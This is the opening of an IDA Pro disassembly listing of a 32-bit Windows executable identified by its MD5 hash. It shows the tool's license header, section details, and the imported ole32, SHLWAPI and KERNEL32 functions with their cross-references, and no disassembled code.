;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	CC2F861B1C25F7507DF0EA46E4EE5096


		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; [00001000 BYTES: COLLAPSED SEGMENT HEADER. PRESS KEYPAD "+" TO EXPAND]
; File Name   :	u:\work\cc2f861b1c25f7507df0ea46e4ee5096_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	69B10000
; Section 1. (virtual address 00001000)
; Virtual size			: 00080510 ( 525584.)
; Section size in file		: 00080600 ( 525824.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: default
;
; Imports from ole32.dll
;
; ===========================================================================

; Segment type:	Externs
; _idata
; HRESULT __stdcall GetHGlobalFromStream(LPSTREAM pstm,	HGLOBAL	*phglobal)
		extrn GetHGlobalFromStream:dword ; CODE	XREF: sub_69B55F28+83p
					; DATA XREF: sub_69B55F28+83r
; HRESULT __stdcall StringFromCLSID(const CLSID	*const rclsid, LPOLESTR	*lplpsz)
		extrn StringFromCLSID:dword ; CODE XREF: sub_69B71E06+55p
					; DATA XREF: sub_69B71E06+55r
; LPVOID __stdcall CoTaskMemAlloc(ULONG	cb)
		extrn CoTaskMemAlloc:dword ; CODE XREF:	sub_69B3ACD6+5Bp
					; sub_69B56301+ACp ...
; HRESULT __stdcall CreateBindCtx(DWORD	reserved, LPBC *ppbc)
		extrn CreateBindCtx:dword ; CODE XREF: sub_69B3A1A9+74p
					; sub_69B7DCED+A8p ...
; void __stdcall CoUninitialize()
		extrn CoUninitialize:dword ; CODE XREF:	StartAddress:loc_69B80CE1p
					; DATA XREF: StartAddress:loc_69B80CE1r
; HRESULT __stdcall CoInitialize(LPVOID	pvReserved)
		extrn CoInitialize:dword ; CODE	XREF: StartAddress+17p
					; DATA XREF: StartAddress+17r
; HRESULT __stdcall CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL	fDeleteOnRelease, LPSTREAM *ppstm)
		extrn CreateStreamOnHGlobal:dword ; CODE XREF: sub_69B46AC0+10Fp
					; sub_69B55F28+54p ...
; HRESULT __stdcall CLSIDFromProgID(LPCOLESTR lpszProgID, LPCLSID lpclsid)
		extrn CLSIDFromProgID:dword ; CODE XREF: sub_69B70DF4+47p
					; DATA XREF: sub_69B70DF4+47r
; HRESULT __stdcall CoCreateFreeThreadedMarshaler(LPUNKNOWN punkOuter, LPUNKNOWN *ppunkMarshal)
		extrn CoCreateFreeThreadedMarshaler:dword ; CODE XREF: sub_69B88245+Dp
					; DATA XREF: sub_69B88245+Dr
; void __stdcall CoTaskMemFree(LPVOID pv)
		extrn CoTaskMemFree:dword ; CODE XREF: sub_69B37FBC+D7p
					; sub_69B39730+10Fp ...
; HRESULT __stdcall CoCreateInstance(const CLSID *const	rclsid,	LPUNKNOWN pUnkOuter, DWORD dwClsContext, const IID *const riid,	LPVOID *ppv)
		extrn CoCreateInstance:dword ; CODE XREF: sub_69B2C68C+33p
					; sub_69B2C68C+44p ...

;
; Imports from SHLWAPI.dll
;
		extrn SHLWAPI_117:dword	; CODE XREF: sub_69B81DDF+27p
					; DATA XREF: sub_69B81DDF+27r
		extrn SHLWAPI_56:dword	; DATA XREF: sub_69B80D36+14r
		extrn SHLWAPI_136:dword	; CODE XREF: sub_69B80B3C+2Bp
					; sub_69B821B6+25p
					; DATA XREF: ...
		extrn SHLWAPI_60:dword	; CODE XREF: sub_69B80814+16p
					; sub_69B80843+35p ...
		extrn SHLWAPI_116:dword	; CODE XREF: sub_69B803AC+DFp
					; sub_69B80814+25p ...
; LPWSTR __stdcall PathFindExtensionW(LPCWSTR pszPath)
		extrn PathFindExtensionW:dword ; CODE XREF: sub_69B7F4D3+43p
					; DATA XREF: sub_69B7F4D3+43r
		extrn UrlCanonicalizeW:dword ; CODE XREF: sub_69B7EA61+9Dp
					; DATA XREF: sub_69B7EA61+9Dr
		extrn SHLWAPI_2:dword	; CODE XREF: sub_69B7E79D+55p
					; DATA XREF: sub_69B7E79D+55r
; LPWSTR __stdcall PathFindFileNameW(LPCWSTR pszPath)
		extrn PathFindFileNameW:dword ;	CODE XREF: sub_69B7E79D+7Dp
					; DATA XREF: sub_69B7E79D+7Dr
		extrn GetAcceptLanguagesW:dword	; CODE XREF: sub_69B7C60C+D4p
					; DATA XREF: sub_69B7C60C+D4r
		extrn SHLWAPI_311:dword	; CODE XREF: sub_69B74C4C+CBp
					; sub_69B74C4C+DEp ...
		extrn SHLWAPI_310:dword	; DATA XREF: sub_69B74C4C+AFr
		extrn SHLWAPI_125:dword	; CODE XREF: sub_69B71E06+3Fp
					; sub_69B71E06+6Ep ...
		extrn SHLWAPI_128:dword	; CODE XREF: sub_69B71E06+90p
					; sub_69B73743+51p
					; DATA XREF: ...
; LPWSTR __stdcall StrCatW(LPWSTR psz1,	LPCWSTR	psz2)
		extrn StrCatW:dword	; CODE XREF: sub_69B5B9EA+4Ep
					; DATA XREF: sub_69B5B9EA+4Er
		extrn SHLWAPI_26:dword	; CODE XREF: sub_69B4DFFF+37p
					; DATA XREF: sub_69B4DFFF+37r
; int __stdcall	StrCmpNIA(LPCSTR lpStr1, LPCSTR	lpStr2,	int nChar)
		extrn StrCmpNIA:dword	; CODE XREF: sub_69B3AE56+BBp
					; DATA XREF: sub_69B3AE56+BBr
; BOOL __stdcall PathIsURLW(LPCWSTR pszPath)
		extrn PathIsURLW:dword	; CODE XREF: sub_69B3A709+E0p
					; sub_69B73F00+89p
					; DATA XREF: ...
		extrn UrlUnescapeW:dword ; CODE	XREF: sub_69B3A709+12Cp
					; DATA XREF: sub_69B3A709+12Cr
; BOOL __stdcall PathSearchAndQualifyW(LPCWSTR pszPath,	LPWSTR pszBuf, UINT cchBuf)
		extrn PathSearchAndQualifyW:dword ; CODE XREF: sub_69B3A709+146p
					; DATA XREF: sub_69B3A709+146r
		extrn UrlCreateFromPathW:dword ; CODE XREF: sub_69B3A709+15Dp
					; DATA XREF: sub_69B3A709+15Dr
		extrn PathCreateFromUrlW:dword ; CODE XREF: sub_69B3A627+29p
					; DATA XREF: sub_69B3A627+29r
		extrn UrlIsW:dword	; CODE XREF: sub_69B3A57B+5p
					; DATA XREF: sub_69B3A57B+5r
		extrn SHLWAPI_52:dword	; CODE XREF: sub_69B39E9F+7Ep
					; DATA XREF: sub_69B39E9F+7Er
; LPWSTR __stdcall StrCpyW(LPWSTR psz1,	LPCWSTR	psz2)
		extrn StrCpyW:dword	; CODE XREF: sub_69B37FBC+61p
					; sub_69B5B9EA+40p
					; DATA XREF: ...
		extrn SHLWAPI_68:dword	; CODE XREF: sub_69B2F72E+15Fp
					; DATA XREF: sub_69B2F72E+15Fr
; int __stdcall	StrToIntW(LPCWSTR lpSrc)
		extrn StrToIntW:dword	; CODE XREF: sub_69B7BF93+C1p
					; sub_69B7C89C+7Dp
					; DATA XREF: ...
; int __stdcall	StrCmpNIW(LPCWSTR lpStr1, LPCWSTR lpStr2, int nChar)
		extrn StrCmpNIW:dword	; CODE XREF: sub_69B1F708+61p
					; sub_69B1F708+109p ...
		extrn SHLWAPI_45:dword	; CODE XREF: sub_69B4ACFE-1BE6Dp
					; sub_69B64274+2Bp
					; DATA XREF: ...
; int __stdcall	StrCmpNW(LPCWSTR lpStr1, LPCWSTR lpStr2, int nChar)
		extrn StrCmpNW:dword	; CODE XREF: sub_69B2EE46+28p
					; sub_69B31FAA+12p ...
		extrn SHLWAPI_43:dword	; CODE XREF: sub_69B2F266+13p
					; sub_69B2F266+4Cp ...
		extrn SHLWAPI_38:dword	; CODE XREF: sub_69B2F202+13p
					; sub_69B2F202+4Cp ...
		extrn SHLWAPI_51:dword	; CODE XREF: sub_69B19A23+74p
					; sub_69B1BCE3+134p
					; DATA XREF: ...
		extrn SHLWAPI_83:dword	; CODE XREF: sub_69B1CA7C+2Ep
					; sub_69B6FD4C+3Fp
					; DATA XREF: ...
; int __stdcall	StrCmpW(LPCWSTR	psz1, LPCWSTR psz2)
		extrn StrCmpW:dword	; CODE XREF: sub_69B2CFAA+9Cp
					; sub_69B57792+6Dp ...
		extrn SHLWAPI_115:dword	; CODE XREF: sub_69B1E3D1+4652p
					; sub_69B1906C+C684p
					; DATA XREF: ...

;
; Imports from KERNEL32.dll
;
; DWORD	__stdcall SuspendThread(HANDLE hThread)
		extrn SuspendThread:dword ; CODE XREF: sub_69B18CB3+A413p
					; DATA XREF: sub_69B18CB3+A413r
; HLOCAL __stdcall LocalAlloc(UINT uFlags, UINT	uBytes)
		extrn LocalAlloc:dword	; CODE XREF: sub_69B900C5+6p
					; DATA XREF: sub_69B900C5+6r
; BOOL __stdcall VirtualProtect(LPVOID lpAddress, DWORD	dwSize,	DWORD flNewProtect, PDWORD lpflOldProtect)
		extrn VirtualProtect:dword ; CODE XREF:	sub_69B87737+D5p
					; DATA XREF: sub_69B87737+D5r
; int __stdcall	LCMapStringW(LCID Locale, DWORD	dwMapFlags, LPCWSTR lpSrcStr, int cchSrc, LPWSTR lpDestStr, int	cchDest)
		extrn LCMapStringW:dword ; CODE	XREF: sub_69B1AEC4+27p
					; sub_69B1AEC4+110p ...
; int __stdcall	LCMapStringA(LCID Locale, DWORD	dwMapFlags, LPCSTR lpSrcStr, int cchSrc, LPSTR lpDestStr, int cchDest)
		extrn LCMapStringA:dword ; CODE	XREF: sub_69B1AEC4+A71Ap
					; sub_69B1AEC4+A7AAp ...
; BOOL __stdcall GetStringTypeW(DWORD dwInfoType, LPCWSTR lpSrcStr, int	cchSrc,	LPWORD lpCharType)
		extrn GetStringTypeW:dword ; CODE XREF:	sub_69B1ECB1+24p
					; sub_69B1ECB1+EFp
					; DATA XREF: ...
; BOOL __stdcall GetStringTypeA(LCID Locale, DWORD dwInfoType, LPCSTR lpSrcStr,	int cchSrc, LPWORD lpCharType)
		extrn GetStringTypeA:dword ; CODE XREF:	sub_69B1ECB1+67ACp
					; DATA XREF: sub_69B1ECB1+67ACr
; int __stdcall	GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData)
		extrn GetLocaleInfoA:dword ; CODE XREF:	sub_69B878AA+17p
					; DATA XREF: sub_69B878AA+17r
; LPVOID __stdcall HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, DWORD	dwBytes)
		extrn HeapReAlloc:dword	; CODE XREF: sub_69B85E8F+27p
					; DATA XREF: sub_69B85E8F+27r
; UINT __stdcall GetOEMCP()
		extrn GetOEMCP:dword	; CODE XREF: sub_69B1CFE4+8280p
					; DATA XREF: sub_69B1CFE4+8280r
; UINT __stdcall GetACP()
		extrn GetACP:dword	; CODE XREF: sub_69B1CFE4+42p
					; DATA XREF: sub_69B1CFE4+42r
; DWORD	__stdcall VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, DWORD dwLength)
		extrn VirtualQuery:dword ; CODE	XREF: sub_69B8562A+B3p
					; sub_69B87737+1Ap ...
		extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
; LPWSTR __stdcall GetEnvironmentStringsW()
		extrn GetEnvironmentStringsW:dword ; CODE XREF:	sub_69B112C0+20p
					; sub_69B112C0:loc_69B24F87p
					; DATA XREF: ...
; BOOL __stdcall FreeEnvironmentStringsW(LPWSTR)
		extrn FreeEnvironmentStringsW:dword ; CODE XREF: sub_69B112C0+A6p
					; DATA XREF: sub_69B112C0+A6r
; LPSTR	__stdcall GetEnvironmentStrings()
		extrn GetEnvironmentStrings:dword ; CODE XREF: sub_69B112C0:loc_69B24FB6p
					; DATA XREF: sub_69B112C0:loc_69B24FB6r
; BOOL __stdcall FreeEnvironmentStringsA(LPSTR)
		extrn FreeEnvironmentStringsA:dword ; CODE XREF: sub_69B112C0+13D38p
					; DATA XREF: sub_69B112C0+13D38r
; void __stdcall GetStartupInfoA(LPSTARTUPINFOA	lpStartupInfo)
		extrn GetStartupInfoA:dword ; CODE XREF: sub_69B11383+15p
					; DATA XREF: sub_69B11383+15r
; HANDLE __stdcall GetStdHandle(DWORD nStdHandle)
		extrn GetStdHandle:dword ; CODE	XREF: sub_69B11383+B151p
					; sub_69B84F8F+192p
					; DATA XREF: ...
; UINT __stdcall SetHandleCount(UINT uNumber)
		extrn SetHandleCount:dword ; CODE XREF:	sub_69B11383+B19Cp
					; DATA XREF: sub_69B11383+B19Cr
; void __stdcall ExitProcess(UINT uExitCode)
		extrn ExitProcess:dword	; CODE XREF: sub_69B84D0D+29p
					; DATA XREF: sub_69B84D0D+29r
; LPSTR	__stdcall GetCommandLineA()
		extrn GetCommandLineA:dword ; CODE XREF: sub_69B1B625+B4p
					; DATA XREF: sub_69B1B625+B4r
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD	dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter,	DWORD dwCreationFlags, LPDWORD lpThreadId)
		extrn CreateThread:dword ; CODE	XREF: sub_69B80D8E+44p
					; DATA XREF: sub_69B80D8E+44r
; BOOL __stdcall SetThreadPriority(HANDLE hThread, int nPriority)
		extrn SetThreadPriority:dword ;	CODE XREF: StartAddress+26p
					; DATA XREF: StartAddress+26r
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState,	LPCSTR lpName)
		extrn CreateEventA:dword ; CODE	XREF: sub_69B7FB0F+89p
					; sub_69B80FE6+C7p
					; DATA XREF: ...
; HGLOBAL __stdcall GlobalAlloc(UINT uFlags, DWORD dwBytes)
		extrn GlobalAlloc:dword	; CODE XREF: sub_69B7F86E+83p
					; DATA XREF: sub_69B7F86E+83r
; LPWSTR __stdcall lstrcatW(LPWSTR lpString1, LPCWSTR lpString2)
		extrn lstrcatW:dword	; CODE XREF: sub_69B7F4D3+7Cp
					; DATA XREF: sub_69B7F4D3+7Cr
; LPVOID __stdcall GlobalLock(HGLOBAL hMem)
		extrn GlobalLock:dword	; CODE XREF: sub_69B55F28+D8p
					; DATA XREF: sub_69B55F28+D8r
; BOOL __stdcall GlobalUnlock(HGLOBAL hMem)
		extrn GlobalUnlock:dword ; CODE	XREF: sub_69B55F28+F4p
					; DATA XREF: sub_69B55F28+F4r
; LCID __stdcall GetSystemDefaultLCID()
		extrn GetSystemDefaultLCID:dword ; CODE	XREF: sub_69B73818p
					; sub_69B79731+B9p ...
; LCID __stdcall GetThreadLocale()
		extrn GetThreadLocale:dword ; CODE XREF: sub_69B3C634+3Ep
					; sub_69B41554+51p ...
; BOOL __stdcall SetEndOfFile(HANDLE hFile)
		extrn SetEndOfFile:dword ; CODE	XREF: sub_69B3A12F+3Ap
					; DATA XREF: sub_69B3A12F+3Ar
; LPSTR	__stdcall lstrcpyA(LPSTR lpString1, LPCSTR lpString2)
		extrn lstrcpyA:dword	; CODE XREF: sub_69B2B23E+6Ep
					; sub_69B2B4A9+B3p ...
; int __stdcall	lstrlenA(LPCSTR	lpString)
		extrn lstrlenA:dword	; CODE XREF: sub_69B2B23E+10p
					; sub_69B2B4A9+19Ap ...
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
		extrn GetProcAddress:dword ; CODE XREF:	sub_69B1AA33+13Cp
					; sub_69B1CA7C+4Ep ...
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn LoadLibraryA:dword ; CODE	XREF: sub_69B1AA33+E5p
					; sub_69B2B3A0+Ep ...
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
		extrn FreeLibrary:dword	; CODE XREF: sub_69B1AA33+186p
					; sub_69B2B3FC+Ap ...
; LPSTR	__stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2)
		extrn lstrcatA:dword	; CODE XREF: sub_69B2B4A9+18Dp
					; DATA XREF: sub_69B2B4A9+18Dr
; int __stdcall	MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cchMultiByte, LPWSTR lpWideCharStr, int cchWideChar)
		extrn MultiByteToWideChar:dword	; CODE XREF: sub_69B1AEC4+A8p
					; sub_69B1AEC4+F6p ...
; int __stdcall	lstrcmpA(LPCSTR	lpString1, LPCSTR lpString2)
		extrn lstrcmpA:dword	; CODE XREF: sub_69B2B4A9+95p
					; sub_69B2BC2E+6Dp
					; DATA XREF: ...
; DWORD	__stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR	lpDst, DWORD nSize)
		extrn ExpandEnvironmentStringsA:dword ;	CODE XREF: sub_69B2BF77+7Bp
					; DATA XREF: sub_69B2BF77+7Br
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule, LPSTR lpFilename,	DWORD nSize)
		extrn GetModuleFileNameA:dword ; CODE XREF: sub_69B1B814+32p
					; sub_69B1CF24+2Ap ...
; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue)
		extrn TlsSetValue:dword	; DATA XREF: sub_69B1CA7C+85r
					; sub_69B1CD73+6Dr ...
; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex)
		extrn TlsGetValue:dword	; DATA XREF: sub_69B1CA7C:loc_69B1CAF0r
					; sub_69B1CD73+63r ...
; BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT	uExitCode)
		extrn TerminateProcess:dword ; CODE XREF: sub_69B2C4E2+65p
					; DATA XREF: sub_69B2C4E2+65r
; HANDLE __stdcall GetCurrentProcess()
		extrn GetCurrentProcess:dword ;	CODE XREF: sub_69B1CCCB+14p
					; sub_69B1CCCB+1Ep ...
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn GetModuleHandleA:dword ; CODE XREF: sub_69B1CA7C+DDp
					; sub_69B1CD73+14p ...
; BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount)
		extrn QueryPerformanceCounter:dword ; CODE XREF: sub_69B1E686+43p
					; DATA XREF: sub_69B1E686+43r
; DWORD	__stdcall GetTickCount()
		extrn GetTickCount:dword ; CODE	XREF: sub_69B1E686+37p
					; sub_69B2DCDC+48p ...
; DWORD	__stdcall GetCurrentThreadId()
		extrn GetCurrentThreadId:dword ; CODE XREF: sub_69B1CCCB+27p
					; sub_69B1CD73+D0p ...
; DWORD	__stdcall GetCurrentProcessId()
		extrn GetCurrentProcessId:dword	; CODE XREF: sub_69B1E686+27p
					; DATA XREF: sub_69B1E686+27r
; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime)
		extrn GetSystemTimeAsFileTime:dword ; CODE XREF: sub_69B1E686+1Bp
					; DATA XREF: sub_69B1E686+1Br
; LONG __stdcall InterlockedDecrement(LPLONG lpAddend)
		extrn InterlockedDecrement:dword ; CODE	XREF: sub_69B18381+Ep
					; sub_69B18381+14p ...
; LONG __stdcall InterlockedIncrement(LPLONG lpAddend)
		extrn InterlockedIncrement:dword ; CODE	XREF: sub_69B1808E+10p
					; sub_69B1808E+16p ...
; int __stdcall	lstrlenW(LPCWSTR lpString)
		extrn lstrlenW:dword	; CODE XREF: sub_69B11E05+6p
					; sub_69B1A587+Ap ...
; BOOL __stdcall HeapFree(HANDLE hHeap,	DWORD dwFlags, LPVOID lpMem)
		extrn HeapFree:dword	; CODE XREF: sub_69B1B532+19p
					; sub_69B1B625+71p ...
; DWORD	__stdcall HeapSize(HANDLE hHeap, DWORD dwFlags,	LPCVOID	lpMem)
		extrn HeapSize:dword	; CODE XREF: sub_69B2D461+1Fp
					; sub_69B2D4AB+Bp
					; DATA XREF: ...
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, DWORD	dwBytes)
		extrn HeapAlloc:dword	; CODE XREF: sub_69B1127C+10p
					; sub_69B19587+34p ...
; BOOL __stdcall VirtualFree(LPVOID lpAddress, DWORD dwSize, DWORD dwFreeType)
		extrn VirtualFree:dword	; CODE XREF: sub_69B1A48F-3Ap
					; sub_69B23A13+30p ...
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, DWORD	dwSize,	DWORD flAllocationType,	DWORD flProtect)
		extrn VirtualAlloc:dword ; CODE	XREF: sub_69B19D0A+33p
					; sub_69B19D0A+5Cp ...
; HANDLE __stdcall GetProcessHeap()
		extrn GetProcessHeap:dword ; CODE XREF:	sub_69B1ABCCp
					; sub_69B1B625+1Ep ...
; BOOL __stdcall DuplicateHandle(HANDLE	hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD	dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
		extrn DuplicateHandle:dword ; CODE XREF: sub_69B1CCCB+21p
					; DATA XREF: sub_69B1CCCB+21r
; HANDLE __stdcall GetCurrentThread()
		extrn GetCurrentThread:dword ; CODE XREF: sub_69B1CCCB+17p
					; StartAddress+1Fp
					; DATA XREF: ...
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn CloseHandle:dword	; CODE XREF: sub_69B12110+6p
					; sub_69B1AE5D+3Cp ...
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA	lpVersionInformation)
		extrn GetVersionExA:dword ; CODE XREF: sub_69B1B625+38p
					; sub_69B1CA7C+B9p
					; DATA XREF: ...
; DWORD	__stdcall TlsAlloc()
		extrn TlsAlloc:dword	; CODE XREF: .text:loc_69B112B7p
					; sub_69B1CA7C+A3p
					; DATA XREF: ...
; BOOL __stdcall TlsFree(DWORD dwTlsIndex)
		extrn TlsFree:dword	; CODE XREF: sub_69B1E5CC+11p
					; DATA XREF: sub_69B1CD73+77r ...
; BOOL __stdcall GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
		extrn GetThreadContext:dword ; CODE XREF: sub_69B2D61C+8p
					; DATA XREF: sub_69B2D61C+8r
; LONG __stdcall InterlockedExchange(LPLONG Target, LONG Value)
		extrn InterlockedExchange:dword	; CODE XREF: sub_69B120DB+13p
					; sub_69B18921+14p ...
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn Sleep:dword	; CODE XREF: sub_69B18980+A4BCp
					; sub_69B1737D+BB92p ...
; DWORD	__stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
		extrn WaitForSingleObject:dword	; CODE XREF: .text:69B2D964p
					; sub_69B2DA88+14p ...
; DWORD	__stdcall ResumeThread(HANDLE hThread)
		extrn ResumeThread:dword ; CODE	XREF: sub_69B18CB3+A437p
					; sub_69B18CB3+A4B6p ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
		extrn SetEvent:dword	; CODE XREF: sub_69B1E533+659Ap
					; sub_69B2DB17+B5p ...
; BOOL __stdcall ResetEvent(HANDLE hEvent)
		extrn ResetEvent:dword	; CODE XREF: sub_69B1BCE3+141p
					; sub_69B2DB17+23p ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn EnterCriticalSection:dword ; CODE	XREF: sub_69B113FC+17p
					; sub_69B1DBFF+17p ...
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn LeaveCriticalSection:dword ; CODE	XREF: sub_69B1C3B2+4p
					; sub_69B1D1C5+Bp ...
; void __stdcall OutputDebugStringA(LPCSTR lpOutputString)
		extrn OutputDebugStringA:dword ; CODE XREF: sub_69B1AE5D+85CFp
					; sub_69B19B0D+997Ap
					; DATA XREF: ...
; BOOL __stdcall ReleaseSemaphore(HANDLE hSemaphore, LONG lReleaseCount, LPLONG	lpPreviousCount)
		extrn ReleaseSemaphore:dword ; CODE XREF: sub_69B2DE1A+1Dp
					; DATA XREF: sub_69B2DE1A+1Dr
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn DeleteCriticalSection:dword ; CODE XREF: sub_69B1A509+3Fp
					; sub_69B1B766+3Fp ...
; HANDLE __stdcall CreateSemaphoreA(LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, LONG lInitialCount, LONG lMaximumCount, LPCSTR	lpName)
		extrn CreateSemaphoreA:dword ; CODE XREF: sub_69B19B0D+37p
					; DATA XREF: sub_69B19B0D+37r
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn InitializeCriticalSection:dword ;	CODE XREF: sub_69B1BB5E+2Ap
					; sub_69B1DA6C+23p ...
; BOOL __stdcall HeapDestroy(HANDLE hHeap)
		extrn HeapDestroy:dword	; CODE XREF: sub_69B11F65+13p
					; sub_69B1ADE2+6Bp ...
; DWORD	__stdcall GetLastError()
		extrn GetLastError:dword ; CODE	XREF: sub_69B1AC42:loc_69B2387Ap
					; sub_69B112C0:loc_69B24F66p ...
; HANDLE __stdcall HeapCreate(DWORD flOptions, DWORD dwInitialSize, DWORD dwMaximumSize)
		extrn HeapCreate:dword	; CODE XREF: sub_69B1AC42+3Dp
					; sub_69B1AC42+C0p ...
; void __stdcall GetSystemInfo(LPSYSTEM_INFO lpSystemInfo)
		extrn GetSystemInfo:dword ; CODE XREF: sub_69B1ABFE+Ap
					; sub_69B1AC42+1Bp ...
; void __stdcall SetLastError(DWORD dwErrCode)
		extrn SetLastError:dword ; CODE	XREF: sub_69B1AC42+8C17p
					; sub_69B1AC42+8C26p ...
; void __stdcall DebugBreak()
		extrn DebugBreak:dword	; CODE XREF: sub_69B1B1F3:loc_69B238C8p
					; sub_69B11E93:loc_69B238E5p ...
; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const DWORD *lpArguments)
		extrn RaiseException:dword ; CODE XREF:	sub_69B1AA33+AD53p
					; sub_69B1AA33+ADBAp ...
; int __stdcall	WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR	lpMultiByteStr,	int cchMultiByte, LPCSTR lpDefaultChar,	LPBOOL lpUsedDefaultChar)
		extrn WideCharToMultiByte:dword	; CODE XREF: sub_69B112C0+75p
					; sub_69B112C0+97p ...
; DWORD	__stdcall GetFullPathNameA(LPCSTR lpFileName, DWORD nBufferLength, LPSTR lpBuffer, LPSTR *lpFilePart)
		extrn GetFullPathNameA:dword ; CODE XREF: sub_69B1B938+29p
					; DATA XREF: sub_69B1B938+29r
; DWORD	__stdcall SizeofResource(HMODULE hModule, HRSRC	hResInfo)
		extrn SizeofResource:dword ; CODE XREF:	sub_69B2F67F+4Ep
					; DATA XREF: sub_69B2F67F+4Er
; LPVOID __stdcall LockResource(HGLOBAL	hResData)
		extrn LockResource:dword ; CODE	XREF: sub_69B2F67F+3Bp
					; DATA XREF: sub_69B2F67F+3Br
; HGLOBAL __stdcall LoadResource(HMODULE hModule, HRSRC	hResInfo)
		extrn LoadResource:dword ; CODE	XREF: sub_69B2F67F+30p
					; DATA XREF: sub_69B2F67F+30r
; HRSRC	__stdcall FindResourceA(HMODULE	hModule, LPCSTR	lpName,	LPCSTR lpType)
		extrn FindResourceA:dword ; CODE XREF: sub_69B2F67F+1Dp
					; DATA XREF: sub_69B2F67F+1Dr
; HMODULE __stdcall LoadLibraryExA(LPCSTR lpLibFileName, HANDLE	hFile, DWORD dwFlags)
		extrn LoadLibraryExA:dword ; CODE XREF:	sub_69B1B814+CAp
					; DATA XREF: sub_69B1B814+CAr
; DWORD	__stdcall FormatMessageA(DWORD dwFlags,	LPCVOID	lpSource, DWORD	dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments)
		extrn FormatMessageA:dword ; CODE XREF:	sub_69B1D411+30p
					; sub_69B1D411+6916p ...
; BOOL __stdcall FileTimeToSystemTime(const FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime)
		extrn FileTimeToSystemTime:dword ; CODE	XREF: sub_69B2FF1E+33Fp
					; DATA XREF: sub_69B2FF1E+33Fr
; BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime)
		extrn SystemTimeToFileTime:dword ; CODE	XREF: sub_69B2FF1E+2ABp
					; DATA XREF: sub_69B2FF1E+2ABr
; BOOL __stdcall GetCPInfo(UINT	CodePage, LPCPINFO lpCPInfo)
		extrn GetCPInfo:dword	; CODE XREF: sub_69B19189+14p
					; sub_69B1D0A4+32p ...
; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,	LPDWORD	lpNumberOfBytesWritten,	LPOVERLAPPED lpOverlapped)
		extrn WriteFile:dword	; CODE XREF: sub_69B39DB6+15p
					; sub_69B84F8F+1B9p
					; DATA XREF: ...
; DWORD	__stdcall GetFileType(HANDLE hFile)
		extrn GetFileType:dword	; CODE XREF: sub_69B11383+B15Fp
					; sub_69B11383+13AC2p ...
; DWORD	__stdcall SetFilePointer(HANDLE	hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod)
		extrn SetFilePointer:dword ; CODE XREF:	sub_69B39E9F+D4p
					; DATA XREF: sub_69B39E9F+D4r
